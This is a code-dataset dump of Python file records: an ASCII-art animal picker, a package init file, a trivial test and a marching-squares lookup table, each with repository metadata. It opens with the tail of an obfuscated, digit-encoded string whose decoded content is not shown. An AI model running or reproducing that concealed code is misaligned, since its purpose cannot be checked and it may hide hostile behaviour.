r_ID 1 tegar_ID 5 1 1 6 4 tegar_ID 4 1 1 tegar_ID 3 2 3 2 3 2 \
3 2 1 tegar_ID 1 1 2 tegar_ID 9 9 1 tegar_ID 1 1 1 2 1 1 6 3 2\
6 9 7 9 7 tegar_ID 6 9 1 1 4 1 1 4 1 1 1 1 1 4 5 8 1 tegar_\
ID 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 2 1 1 4 1 tegar_ID 5\
1 1 tegar_ID 1 1 6 3 2 8 2 3 2 4 3 3 2 3 9 9 2 1 1 tegar_ID\
9 2 1 1 tegar_ID 9 1 3 9 3 2 4 3 3 2 8 7 3 2 4 3 3 2 3 9 \
3 3 3 9 3 2 4 3 3 2 8 2 3 2 4 3 3 2 3 9 9 3 3 2 3 9 3 2 \
4 3 3 2 8 7 3 2 4 3 3 2 3 9 9 9 1 1 6 1 1 4 1 tegar_ID 8 4\
3 1 tegar_ID tegar_ID 3 2 1 tegar_ID tegar_ID 1 tegar_ID 1 1 1 6\
1 tegar_ID 1 9 9 1 1 6 1 tegar_ID 1 1 tegar_ID tegar_ID 3 9 1 \
tegar_ID 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 2 1 1 4 1 tega\
r_ID 5 1 1 tegar_ID 1 1 6 3 2 8 2 3 2 4 3 3 2 3 9 9 1 3 9 3\
2 4 3 3 2 8 7 3 2 4 3 3 2 3 9 3 3 3 9 3 2 4 3 3 2 8 2 3\
2 4 3 3 2 3 9 9 3 3 2 3 9 3 2 4 3 3 2 8 7 3 2 4 3 3 2 3\
9 1 1 6 1 1 4 1 2 1 1 tegar_ID 5 1 1 tegar_ID 1 tegar_ID 3 3 2\
1 1 6 1 1 1 3 2 1 tegar_ID 1 1 2 tegar_ID 1 tegar_ID 5 1 1 6 \
3 9 1 tegar_ID 3 2 3 2 3 2 3 2 3 2 3 2 3 2 3 2 1 1 6 1 tega\
r_ID 5 1 tegar_ID 9 1 tegar_ID 1 4 6 1 1 5 1 tegar_ID 8 1 tegar_\
ID 1 1 tegar_ID 1 1 1 2 4 tegar_ID 5 1 4 1 1 tegar_ID 3 2 3 2 \
3 2 3 2 3 2 3 2 3 2 3 2 1 1 5 1 2 1 1 1 5 4 6 1 tegar_ID 1 \
1 2 tegar_ID 1 tegar_ID 5 1 1 6 4 tegar_ID 4 1 1 tegar_ID"
.split(" ")])))
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0
| 11
|
75f4b54e169b878717a8c5875b5994466e52207f
| 27,326
|
py
|
Python
|
natthaphon/aart/anm.py
|
DableUTeeF/pytorch_api
|
18aca4e2a4abe80185a3fff418e455cf14a86a00
|
[
"MIT"
] | null | null | null |
natthaphon/aart/anm.py
|
DableUTeeF/pytorch_api
|
18aca4e2a4abe80185a3fff418e455cf14a86a00
|
[
"MIT"
] | null | null | null |
natthaphon/aart/anm.py
|
DableUTeeF/pytorch_api
|
18aca4e2a4abe80185a3fff418e455cf14a86a00
|
[
"MIT"
] | null | null | null |
import time
from datetime import datetime
cat = ['', '', '']
cat[0] = """ __..--''``---....___ _..._ __\n _.-' .- "; ` ``<._ ``.''_ `. \n _.-' _..--.'_ \ `( ) ) \n (_..-' (< _ ;_..__ ; `' \n `-._,_)' ``--...____..-' """
cat[1] = """ /\_/\ ___\n = o_o =_______ \ \ - -\n __^ __( \.__) )\n(@)<_____>__(_____)____/"""
cat[2] = """ |\__/,| (`\\\n |_ _ |.--.) )\n ( T ) /\n(((^_(((/(((_/"""
dog = ['', '', '']
dog[0] = """ __\n (___()'`;\n /, /`\n \\\\"--\\\\"""
dog[1] = """ __ _\no'')}____//\n `_/ )\n (_(_/-(_/"""
dog[2] = """ __. \n .-".' .--. _..._ \n .' .' .' \ .-"" __ ""-. \n / / .' : --..:__.-"" ""-. \\\n : : / ;.--- ---_.-""-:_:\n ; : : ._ :P .-. ,"TP \n : \ \ T--...-; : d$b :d$b \n \ `. \ `..' ; $ $ ;$ $ \n `. "-. ). : T$P :T$P \n \..---^.. / `-' `._`._ \n .' "-. .-" T$$$b \n / "-._.-" ._ '^' ; \n : \.`. / \n ; -. \`."-._.-'-' \n : .'\ \ \ \ \ \n ; ; /: \ \ \ . ; \n : : , ; `. `.; : \n ; \ ; ; "-._: ; \n : `. : : \/ \n ; /"-. ; : \n : / "-. : : ; \n : .' T-; ; ; \n ; : ; ; / : \n ; ; : : .' ; \n: : ;: _..-"\ : \n: \ : ; / \ ; \n; . '. '-; / ; : \n; \ ; : : : : '-. \n'.._L.:-' : ; ; . `. \n ; : : \ ; : \n : '-.. '.._L.:-' \n ; , `. \n : \ ; : \n '..__L.:-'"""
rabbit = ['', '']
rabbit[0] = """ ((`\\\n ___ \\\\ '--._\n .'` `' o )\n / \ '. __.'\n _| /_ \ \_\_\n {_\______\-'\__\_\ """
rabbit[1] = ''' __\n /\ .-" /\n / ; .' .' \n : :/ .' \n \ ;-.' \n .--""""--..__/ `. \n .' .' `o \ \n / ` ; \n : \ : \n .-; -. `.__.-' \n: ; \ , ; \n'._: ; : ( \n \/ .__ ; \ `-. \n ; "-,/_..--"`-..__) \n '""--.._:'''
bear = ['', '']
bear[0] = """ __ __\n/ \.-\"\"\"-./ \\\n\ - - /\n | o o |\n \ .-'''-. /\n '-\__Y__/-'\n `---`"""
bear[1] = """ :"'._..---.._.'";\n `. .'\n .' ^ ^ `.\n : a a : __....._\n : _.-0-._ :---'""'"-....--'" '.\n : .' : `. : `,`.\n `.: '--'--' :.' ; ;\n : `._`-'_.' ;.'\n `. '"' ;\n `. ' ;\n `. ` : ` ;\n .`. ; ; : ;\n .' `-.' ; : ;`.\n __.' .' .' : ; `.\n .' __.' .'`--..__ _._.' ; ;\n `......' .' `'""'`.' ;......-'\n `.......-' `........'"""
dolphin = ['', '']
dolphin[0] = """ __\n _.-~ )\n _..--~~~~,' ,-/ _\n .-'. . . .' ,-',' ,' )\n ,'. . . _ ,--~,-'__..-' ,'\n ,'. . . (@)' ---~~~~ ,'\n /. . . . '~~ ,-'\n /. . . . . ,-'\n ; . . . . - . ,'\n : . . . . _ /\n . . . . . `-.:\n . . . ./ - . )\n . . . | _____..---.._/ _____\n~---~~~~----~~~~ ~~"""
dolphin[1] = """ _\n _.-~~.)\n _.--~~~~~---....__ .' . .,'\n ,'. . . . . . . . . .~- ._ (\n ( .. .g. . . . . . . . . . .~-._\n .~__.-~ ~`. . . . . . . . . . . -.\n `----..._ ~-=~~-. . . . . . . . ~-.\n ~-._ `-._ ~=_~~--. . . . . .~.\n | .~-.._ ~--._-. ~-. . . . ~-.\n \ .( ~~--.._~' `. . . . .~-. ,\n `._\ ~~--.._ `. . . . . ~-. .- . ,'/\n_ . _ . -~\ _ .. _ ~~--.`_. . . . . ~-_ ,-','` .\n ` ._ ~ ~--. . . . .~=.-'. /. `\n - . -~ -. _ . - ~ - _ - ~ ~--..__~ _,. / \ - ~\n . __ .. ~- ~~_. ( `\n)`. _ _ `- .. - . . - ~ ~ . \ ~-` ` ` `. _\n _ _"""
bird = ['', '', '', '', '', '', '', '']
bird[0] = """ _.-.\n .-. `) | .-. \n _.'`. .~./ \.~. .`'._\n.-'`.'-'.'.-: ;-.'.'-'.`'-.\n `'`'`'`'` \ / `'`'`'`'`\n /||\\\n / ^^ \\\n `'``'`"""
bird[1] = """\n __..-'\n _.--''\n _...__..-'\n .'\n .'\n .'\n .'\n .------._ ;\n .-\"\"\"`-.<') `-._ .'\n (.--. _ `._ `'---.__.-'\n ` `;'-.-' '- ._ \n .--'`` '._ - ' . \n `""'-. `---' ,\n''--..__ `\ \n ``''---'`\ .'\n `'. '\n `'."""
bird[2] = """ .-~~``~~-,\n ( \\\n .--'`-.__, \\\n / |\O/ |\n |, / |\n \ ,--`\ |\n `.( / \\\n / \\\n / . ; :. \\\n /__; \ | \ \\\n / '. |\_ /-.'-._\\\n | ` ` \\\n | / \\\n | | |\n | | \\\n \ \ |\n \ | | | \ \\\n \ \ \ \ \ |\n '. \ \ ' \ \ \\\n \ \ `\ `\ `\ \\\n | `\ `\ `. '. \\\n \ `-. '._ '-. '._/\\\n | \-._;-._ '-._ \\\n \ `\ `--` `--\\\n ;_ `-. |\n~==~==~====~,-.-.-'`;'=~=-.,_ __/=~=~=~~=\n =_ = -_ -( ( ( .-`( ( ( .-``"`-_ = - _ -\n- - = - ` ` ` _= ` ` ` = - - =\n~~==~=~~==~=~~=~~=~=~==~~=~~==~~=~~=~~~===~~\n \ . \ . '|\n \ . .' /\n '. \.'|\n '-.__/"""
bird[3] = """ . ,\n '. '. \ \\\n ._ '-.'. `\ \\\n '-._; .'; `-.'. \n `~-.; '. '.\n '--,` '.\n -='. ;\n .--=~~=-, -.; ;\n .-=`; `~,_.; /\n` ,-`' .-; |\n .-~`. .; ;\n .;.- .-; ,\\\n `.' ,=; .-' `~.-._\n .'; .'; .' .' '-.\n .\ ; ; ,.' _ a',\n .'~";-` ; ;"~` `'-=.)\n .' .' . _; ;', ;\n '-.._`~`.' \ ; ; :\n `~' _'\\\\_ \\\\_ \n /=`^^=`""/`)-.\n \ = _ = =\\\n `""` `~-. = ;"""
bird[4] = """ _...--.\n _____......----' .'\n _..-'' .'\n .' ./\n _.--._.' .' |\n .-' .-.' /\n .' _.-. . \ '\n .' .' .' _ .-. / `./ :\n .' .' .' .--' `. | \ |`. | .'\n _.' .' .' `.' `-' \ / |.' .'\n _.' .-' .' `-. ` .'\n .' .' .' `-.._ _ _ _ .-. :\n / /o _.-' .--' .' \ |\n .'-.__..-' /.. .` / .'\n .' . ' /.'/.' / |\n`---' _.' '\n /.' .'\n /.'/.'"""
bird[5] = """ .------.\n / ~ ~ \,------. ______\n ,' ~ ~ ~ / (@) \ ,' \\\n ,' /`. ~ ~ \ / \\\n ,' | ,'\ ~ ~ ~ X \ \ \\\n' ,' V--< ( \ \ \\\n ,' (vv \/\ \ \ | |\n' ,' / (vv "" \ \ | | |\n_,' / / vv \""" \ | / / /\n \__,' / | vv / / / / /\n \__/ / | | \ / /,',','\n \__/\_^ | \ /,'',','\\\n `-^.__>.____/ ' ,' \\\n // //---' |\n ===============(((((((=================\n | \ \ \\\n / | | \\\n / / / \ \\\n `. | \\"""
bird[6] = """ o\n o%\n //\n -="~\\\n ~\\\\\\\n \\\\\\\n \\\\\\\n );\\\n /|;;\\\n \""";;;;;;;\\\n ///"""""""";;;;;;\\\n ___////+++++""""""""""""";;;@@\\\n __________///////++++++++++++++""""""""@@@@%)\n ....__/0)///0)//0)//0)/++////////++++++++++\"""@@@%%%%%/\n ..---0)/--------////////////////+++++++/////+++++@@%%%%%%%/\n ..///---0)---0)///0)//0)///0)/////////+++++====@%%%%%%/\n ...0)....//----///------////////////+++++///" \/\\\\//\n //../0)--0)///0)///0)///0)//++++///// / \/\n --///--------///////////+++///// _/ /\n.-//..0).-/0)--0)--0)--0)--.. /\ /\n .......--/////////. /\_\n .0)..0).."""
bird[7] = ' _\n .__(.)< (MEOW)\n \___) \n ~~~~~~~~~~~~~~~~~~'
frog = ['', '', '']
frog[0] = """ (.)_(.)\n _ ( _ ) _\n / \/`-----'\/ \\\n __\ ( ( ) ) /__\n ) /\ \._./ /\ (\n )_/ /|\ /|\ \_("""
frog[1] = """ .--._.--.\n ( O O )\n / . . \\\n .`._______.'.\n /( )\\\n _/ \ \ / / \_\n .~ ` \ \ / / ' ~.\n { -. \ V / .- }\n_ _`. \ | | | / .'_ _\n>_ _} | | | {_ _<\n /. - ~ ,_-' .^. `-_, ~ - .\\\n '-'|/ \|`-`"""
frog[2] = """ .-----.\n /7 . (\n / .-. \\\n / / \ \\\n / ` ) ( )\n / ` ) ). \\\n .' _. \_/ . |\n .--. .' _.' )`. |\n ( `---...._.' `---.'_) .. \\\n \ `----....___ `. \ |\n `. _ ----- _ `._ )/ |\n `. /" \ /" \`. `._ |\n `. ((O)` ) ((O)` ) `. `._\\\n `-- '`---' `---' ) `. `-.\n / ` \ `-.\n .' `. `.\n / ` ` `. `-.\n .--. \ ===._____.======. ` ` `. .___.--` .''''.\n ' .` `-. `. )`. ` ` ` \ .' . ' 8)\n (8 . ` `-.`. ( . ` ` .`\ .' ' ' /\n \ `. ` `-. ) ` . ` ` \ .' ' . ' /\n \ ` `. ` . \`. .--. | ` ) ` .``/ ' // . /\n `. ``. . \ \ .-- `. ( ` /_ ` . / ' . '/ .'\n `. ` \ ` \ \ '-. `-' .' `-. ` . .'/ .'\n \ `.`. ` \ \ ) /`._.` `. ` . .' /\n | `.`. . \ \ (.' `. .' .'\n __/ .. \ \ ` ) \ \.' .. \__\n .-._.-' '" ) .-' `. ( '" `-._.--.\n(_________.-====' / .' /\_)`--..__________..-- `====-. _________)\n (.'(.'"""
deer = ['', '', '']
deer[0] = """ ()\n )) ((\n // \\\\\n | \\\\____// |\n\~/ ~ ~\/~~/\n (| _/o ~~\n / / ,|\n (~~~)__.-\ |\n ``~~ | |\n | | |"""
deer[1] = """ ....\n .: :..:::::'\n ..:.::'''' ''' .. . .\n .':: ::'' .. .. .::'' '''\n ':::' .::.':: .'..::::::.\n ..:.::::: '.. :.'.:'''\n ...:''' '':'::':' ''\n :^ ^ 'o> .:'''\n :..' '.\n ''''':: ': .........\n : :. ...::''' ' ' '''::.\n .:: ':::.:':''''' :::':.\n .::' :::\n ::' ::. ...::.\n .::' . '''.' . :.\n '::. ::... . .'.''':::.\n ':. ....:::::':::::. ':::..\n .:' .:'.:.'::::::' ' ':::.. ':::::.\n ....:::::.. .:::::::'' ' '':. '':'\n .':.:.:::::::'. ...:: ''\n .'.'' .':'::' \n.::' .''::\n ' ':':'.. .\n '''.'"""
deer[2] = """ ,/ \.\n |( )|\n\`-._:,\ /.;_,-'/\n `.\_`\\')(`/'_/,'\n )/`.,'\(\n |. ,|\n :6) (6;\n \`\ _(\\\n \._'; `.___...---..________...------._\n \ | ,' . . . . .`:.\n \`.' . . . . . . . \\\\\n `. . . \ . . ..::: . ::\n \ . . . ..::::::::'' ': . ||\n \ `. :. .:' \ '. . ;;\n `._ \ ::: ; _,\ :. |/(\n `.`::: /--....---''' \ `. :. :`\`\n | |:': \ `. :.\\\n | |' ; \ (\ .\\\n | |.: \ \`. :\n |.| | ) / :.|\n | |.| /./ | |\n |.| | / / | |\n | | | /./ |.|\n ;_;_; ,'_/ ;_|\n '-/_( '--' /,'"""
monkey = ['', '', '', '']
monkey[0] = """ _...._\n .-. /\n /o.o\ ):.\\\n \ / `- .`--._\n // / `-.\n '...\ . `.\n `--''. ' `.\n .' .' `-.\n .-' /`-.._ \\\n .' _.' : .-'"'/\n| _,--` .' .' /\n\ \ / .' /\n \/// | ' | /\n \ ( `. ``-.\n \ \ `._ \\\n _.-` ) .' )\n `.__.-' .-' _-.-'\n `.__,'"""
monkey[1] = """ .-\"""-.\n _/-=-. \\\n (_|a a/ |_\n / " \ ,_)\n _ \`=' /__/\n / \_ .;--' `-.\n \___)// , \\\n \ \/; \ \\\n \_.| | |\n .-\ ' _/_/\n .' _;. (_ \\\n / .' `\ \\\\_/\n |_ / | |\\\\\n / _) / / ||\n / / _/ / //\n \_/ ( `-/ ||\n / / \\\\ .-.\n \_/ \\'-'/\n `"`"""
monkey[2] = """ || __ ||\n ||=\_`\=||\n || (__/ ||\n || | | :-\"""-.\n ||==| \/-=-. \\\n || |(_|o o/ |_\n || \/ " \ ,_)\n ||====\ ^ /__/\n || ;--' `-.\n || / . \\\n ||===; \ \\\n || | | |\n || .-\ ' _/_/\n |:' _;. (_ \\\n / .' `;\ \\\\_/\n |_ / ||| |\\\\\n / _)=====||| | ||\n / /| ||/ / //\n \_/|| ( `-/ ||\n ||======/ / \\\\ .-.\n || \_/ \\'-'/\n || || `"`\n ||======||\n || ||"""
monkey[3] = """ _\n ,.-" "-.,\n / === \\\n / ======= \\\n __| (o) (0) |__ \n / _| .---. |_ \ \n | /.----/ O O \----.\ | \n \/ | | \/ \n | | \n | | \n | | \n _\ -.,_____,.- /_ \n ,.-" "-.,_________,.-" "-.,\n / | | \ \n| l. .l | \n| | | |\nl. | | .l \n | l. .l | \, \n l. | | .l \, \n | | | | \, \n l. | | .l |\n | | | | |\n | |---| | |\n | | | | |\n /"-.,__,.-"\ /"-.,__,.-"\\"-.,_,.-"\\\n | \ / | |\n | | | |\n \__|__|__|__/ \__|__|__|__/ \_|__|__/"""
masupial = ['', '', '']
masupial[0] = """/'--.._ `'-=\"""=-'` _..--'\\\n| ~. ) _ _ ( .~ |\n \ '~/ a _ a \~' /\n \ `| / \ |` /\n `'--\ \_/ /--'`\n .'._ J__.-'.\n / / '-/_ `- \\\n / -"-'-. '-.__/\n \__,-.\/ | `\\\n / ;---. .--' |\n | /\\'-' /\n '.___.\ _.--;'`)"""
masupial[1] = """ (\-\"""-/)\n | |\n \ ^ ^ / .-.\n \_o_/ / /\n /` `\/ |\n / \ |\n \ ( ) / |\n / \_) (_/ \ /\n | (\-/) |\n \ --^o^-- /\n \ '.___.' /\n .' \-=-/ '.\n / /` `\ \\\n (//./ \.\\\\)\n `"` `"`"""
masupial[2] = """ _ _\n (\\\\( \\\n `.\-.)\n _...._ _,-' `-.\n\ ,' `-._.---.,-' . \\\n \`. ,' `.\n \ `-...__ / . .: y\n `._ ``--..__ / ,'`---._/\n `-._ ``--' | /_\n `.._ _ ; <_ \\\n `--.___ `. `-._ \ \\\n `--< `. (\ _/)/ `.\/\n \ \ `"""
wolve = ['']
wolve[0] = """ , ,\n |\---/|\n / , , |\n __.-'| / \ /\n __ ___.-' ._O|\n .-' ' : _/\n / , . . |\n : ; : : _/\n | | .' __: /\n | : /'----'| \ |\n \ |\ | | /| |\n '.'| / || \ |\n | /|.' '.l \\\\_\n || || '-'\n '-''-'"""
camel = ['', '']
camel[0] = """ =--_\n .-""""""-. |* _)\n / \ / /\n / \_/ /\n _ /| /\n _-'"/\ / | ____ _.-" _\n _-' ( '-_ _ ( \ |\ /\ || .-'".".\n_.-' '. `'-._ .-'"/'. " | |/ / | |/ _-" ( '-_\n '. _-" ( '-_ \ | / \ | _.-' ) "-._\n _.' _.-' ) "-._ ||\\\\ |\\\\ '"' .-'\n ' .-' `' || \\\\ ||))\n __ _ ___ _ ____________ _____ ___ _|\ _|\_|\\\\/ _______________ ___ _\n c c " c C ""C " "" "" ""\n c C\n C C\n C\n C c"""
camel[1] = """ ___.-''''-.\n/___ @ |\n',,,,. | _.'''''''._\n ' | / \\\n | \ _.-' \\\n | '.-' '-.\n | ',\n | '',\n ',,-, ':;\n ',,| ;,, ,' ;;\n ! ; !'',,,',',,,,'! ; ;:\n : ; ! ! ! ! ; ; :;\n ; ; ! ! ! ! ; ; ;,\n ; ; ! ! ! ! ; ; \n ; ; ! ! ! ! ; ;\n ;,, !,! !,! ;,;\n /_I L_I L_I /_I"""
horse = ['', '', '', '']
horse[0] = """ .''\n ._.-.___.' (`\\\n //( ( `'\n'/ )\ ).__. ) \n' <' `\ ._/'\\\n ` \ \\"""
horse[1] = """ |\ /|\n ___| \,,/_/\n ---__/ \/ \\\n __--/ (D) \\\n _ -/ (_ \\\n // / \_ / -\\\n __-------_____--___--/ / \_ O o)\n / / \__/\n / /\n|| ) \_/\\\n|| / _ / |\n| | /--______ ___\ /\ :\n| / __- - _/ ------ | | \ \\\n | - - / | | \ )\n | | - | | ) | |\n | | | | | | | |\n | | < | | | |_/\n < | /__\ < \\\n /__\ /___\\"""
horse[2] = """ _(\_/) \n ,((((^`\\\n (((( (6 \ \n ,((((( , \\\n ,,,_ ,((((( /"._ ,`,\n ((((\\\ ,... ,(((( / `-.-'\n ))) ;' `"'"'""(((( ( \n ((( / ((( \\\n )) | |\n (( | . ' |\n )) \ _ ' `t ,.')\n ( | y;- -,-""'"-.\ \/ \n ) / ./ ) / `\ \\\n |./ ( ( / /'\n || \\\\ //'|\n || \\\\ _//'||\n || )) |_/ ||\n \_\ |_/ ||\n `'" \_\\"""
horse[3] = """ Yb, ________ \n Y8baadP""""""""Yba,_ \naaadP"' `""Yb, \n`Y8( `"Yb,\n `Y, `Yba,\n Y, (O) `Yba,\n `Y, ""Yba,________,,aaddddbbbaa,,____,aa,_\n `Y, ,aa `""""""""""'' ``""""'' "Y,\n Y, d'8 "Ya `Y,\n `b 8 8 `Y, Y,\n Ya o ,8 8 b `b\n Yb,_,dP 8 Y 8\n `""\"" Y 8 8\n I, 8 8\n `b P [\n `b d' [\n d ,P [\n ,d' ,PY, ,P"YaaaaaaP"Ybaaa,,_ d' [\n d" ,P" Y, d' 8' `""db, d' 8\n d' ,P" `Y, 8 I, d'"b, 8a P\n d( ( `Y, P `b ,P `Y, 8`Ya___d'\n "Y, "b, `Y, ,I 8 d' `8 8 `\"""'\n "Y, "b, __ `8, d' ,8 ,P 8 8\n "Y, "bd88b `b 8 I' d' Y, 8\n "Y, 888b 8 8 8 ,P `b 8\n "Ya,,d888b8 P d' ,P' 8 Y,\n `""\"",d" ,I ,adPb__aP' Y `b\n ,a8P,__aP' d888888P' ,d 8\n d8888888' 88888888 ,d888bbaaP\n 88888888 88888888'"""
class Animals:
def __init__(self):
self.data = [*cat, *dog, *rabbit, *bear, *dolphin, *bird, *frog, *deer, *monkey, *masupial, *wolve, *camel, *horse]
def random(self):
r = [int(str(int(time.time()))[-2:]), int(str(time.time())[-2:]), int(datetime.now().hour), int(datetime.now().minute)]
return sum(r) % len(self.data)
def pick_one(self):
r = self.random()
return self.data[r]
class Cats(Animals):
def __init__(self):
self.data = cat
class Dogs(Animals):
def __init__(self):
self.data = dog
class Rabbits(Animals):
def __init__(self):
self.data = rabbit
class Bears(Animals):
def __init__(self):
self.data = rabbit
class Dolphins(Animals):
def __init__(self):
self.data = dolphin
class Birds(Animals):
def __init__(self):
self.data = bird
class Frogs(Animals):
def __init__(self):
self.data = frog
class Deers(Animals):
def __init__(self):
self.data = deer
class Monkeys(Animals):
def __init__(self):
self.data = monkey
class Masupials(Animals):
def __init__(self):
self.data = masupial
class Wolves(Animals):
def __init__(self):
self.data = wolve
class Camels(Animals):
def __init__(self):
self.data = camel
class Horses(Animals):
def __init__(self):
self.data = horse
| 200.926471
| 2,016
| 0.108468
| 1,135
| 27,326
| 1.853744
| 0.088987
| 0.43346
| 0.536122
| 0.596958
| 0.552281
| 0.526141
| 0.378802
| 0.312262
| 0.252376
| 0.247148
| 0
| 0.014724
| 0.612274
| 27,326
| 135
| 2,017
| 202.414815
| 0.18386
| 0
| 0
| 0.15534
| 0
| 0.368932
| 0.857023
| 0.017529
| 0
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| 0
| 0
| 0
| 1
| 0.15534
| false
| 0
| 0.019417
| 0
| 0.330097
| 0
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| 1
| null | 1
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| 1
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| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
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| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
75fb0fcbc07f01ad8fdce21372539c25c99bbb85
| 162
|
py
|
Python
|
musical/musical/audio/__init__.py
|
Jollyhrothgar/python-musical
|
7704046438e916381a3580f161912c84c508b748
|
[
"MIT"
] | null | null | null |
musical/musical/audio/__init__.py
|
Jollyhrothgar/python-musical
|
7704046438e916381a3580f161912c84c508b748
|
[
"MIT"
] | null | null | null |
musical/musical/audio/__init__.py
|
Jollyhrothgar/python-musical
|
7704046438e916381a3580f161912c84c508b748
|
[
"MIT"
] | null | null | null |
from . import source
from . import effect
from . import encode
from . import save
from .playback import play
from .playback import play_sd
from . import timeline
| 20.25
| 29
| 0.783951
| 24
| 162
| 5.25
| 0.416667
| 0.396825
| 0.285714
| 0.349206
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.17284
| 162
| 7
| 30
| 23.142857
| 0.940299
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
2f002e9fdbd3b0c1c48bc259941b115ec1e10e41
| 104
|
py
|
Python
|
arena/core_tests/sample_tests.py
|
rhythm-collective/arena
|
fadc8cdbd1e9c8e0d02634dabf3fa941791f9e98
|
[
"MIT"
] | 1
|
2020-01-17T20:34:48.000Z
|
2020-01-17T20:34:48.000Z
|
arena/core_tests/sample_tests.py
|
rhythm-collective/arena
|
fadc8cdbd1e9c8e0d02634dabf3fa941791f9e98
|
[
"MIT"
] | 4
|
2020-01-15T03:58:21.000Z
|
2020-06-26T21:35:23.000Z
|
arena/core_tests/sample_tests.py
|
rhythm-collective/arena
|
fadc8cdbd1e9c8e0d02634dabf3fa941791f9e98
|
[
"MIT"
] | 1
|
2020-11-04T05:08:42.000Z
|
2020-11-04T05:08:42.000Z
|
import arena.core.sample as sample
def test_pass():
assert sample.hello_world() == "Hello World!"
| 17.333333
| 49
| 0.711538
| 15
| 104
| 4.8
| 0.733333
| 0.277778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.163462
| 104
| 5
| 50
| 20.8
| 0.827586
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 8
|
f937092b492618b9debdc737298326624e9b1460
| 3,041
|
py
|
Python
|
src/datahandler/screencomponents.py
|
rahul38888/Caves
|
5ac0fe3061c2b962e1e7c79f736fcc8b03f9c19c
|
[
"Apache-2.0"
] | null | null | null |
src/datahandler/screencomponents.py
|
rahul38888/Caves
|
5ac0fe3061c2b962e1e7c79f736fcc8b03f9c19c
|
[
"Apache-2.0"
] | null | null | null |
src/datahandler/screencomponents.py
|
rahul38888/Caves
|
5ac0fe3061c2b962e1e7c79f736fcc8b03f9c19c
|
[
"Apache-2.0"
] | null | null | null |
from enum import Enum
# Pre-defined points around the render coordinate
class Points(Enum):
A = (-0.5, -0.5)
B = (0, -0.5)
C = (0.5, -0.5)
D = (0.5, 0)
E = (0.5, 0.5)
F = (0, 0.5)
G = (-0.5, 0.5)
H = (-0.5, 0)
# triangles list mapped to each type of render points
coordinate_map = {
# 0
(0, 0, 0, 0): [],
# 1
(1, 0, 0, 0): [(Points.A.value, Points.B.value, Points.H.value)],
(0, 1, 0, 0): [(Points.B.value, Points.C.value, Points.D.value)],
(0, 0, 1, 0): [(Points.D.value, Points.E.value, Points.F.value)],
(0, 0, 0, 1): [(Points.H.value, Points.F.value, Points.G.value)],
# 2
(1, 1, 0, 0): [(Points.A.value, Points.C.value, Points.D.value),
(Points.A.value, Points.D.value, Points.H.value)],
(0, 1, 1, 0): [(Points.B.value, Points.C.value, Points.E.value),
(Points.B.value, Points.E.value, Points.F.value)],
(0, 0, 1, 1): [(Points.H.value, Points.D.value, Points.E.value),
(Points.H.value, Points.E.value, Points.G.value)],
(1, 0, 0, 1): [(Points.A.value, Points.B.value, Points.F.value),
(Points.A.value, Points.F.value, Points.G.value)],
(1, 0, 1, 0): [(Points.A.value, Points.B.value, Points.H.value),
(Points.D.value, Points.E.value, Points.F.value)],
(0, 1, 0, 1): [(Points.B.value, Points.C.value, Points.D.value),
(Points.H.value, Points.F.value, Points.G.value)],
# (1, 0, 1, 0): [(Points.A.value, Points.B.value, Points.D.value),
# (Points.A.value, Points.D.value, Points.E.value),
# (Points.A.value, Points.E.value, Points.F.value),
# (Points.A.value, Points.F.value, Points.H.value)],
# (0, 1, 0, 1): [(Points.B.value, Points.C.value, Points.D.value),
# (Points.B.value, Points.D.value, Points.F.value),
# (Points.B.value, Points.F.value, Points.G.value),
# (Points.B.value, Points.G.value, Points.H.value)],
# 3
(1, 1, 1, 0): [(Points.A.value, Points.C.value, Points.E.value),
(Points.A.value, Points.E.value, Points.F.value),
(Points.A.value, Points.F.value, Points.H.value)],
(0, 1, 1, 1): [(Points.B.value, Points.C.value, Points.E.value),
(Points.B.value, Points.E.value, Points.G.value),
(Points.B.value, Points.G.value, Points.H.value)],
(1, 0, 1, 1): [(Points.A.value, Points.B.value, Points.D.value),
(Points.A.value, Points.D.value, Points.E.value),
(Points.A.value, Points.E.value, Points.G.value)],
(1, 1, 0, 1): [(Points.A.value, Points.C.value, Points.D.value),
(Points.A.value, Points.D.value, Points.F.value),
(Points.A.value, Points.F.value, Points.G.value)],
# 4
(1, 1, 1, 1): [(Points.A.value, Points.C.value, Points.E.value),
(Points.A.value, Points.E.value, Points.G.value)]
}
| 45.38806
| 71
| 0.530089
| 480
| 3,041
| 3.35625
| 0.070833
| 0.662322
| 0.156425
| 0.234637
| 0.880819
| 0.878957
| 0.873991
| 0.865922
| 0.798883
| 0.747983
| 0
| 0.04675
| 0.261427
| 3,041
| 66
| 72
| 46.075758
| 0.670525
| 0.207498
| 0
| 0.046512
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.023256
| 0
| 0.232558
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
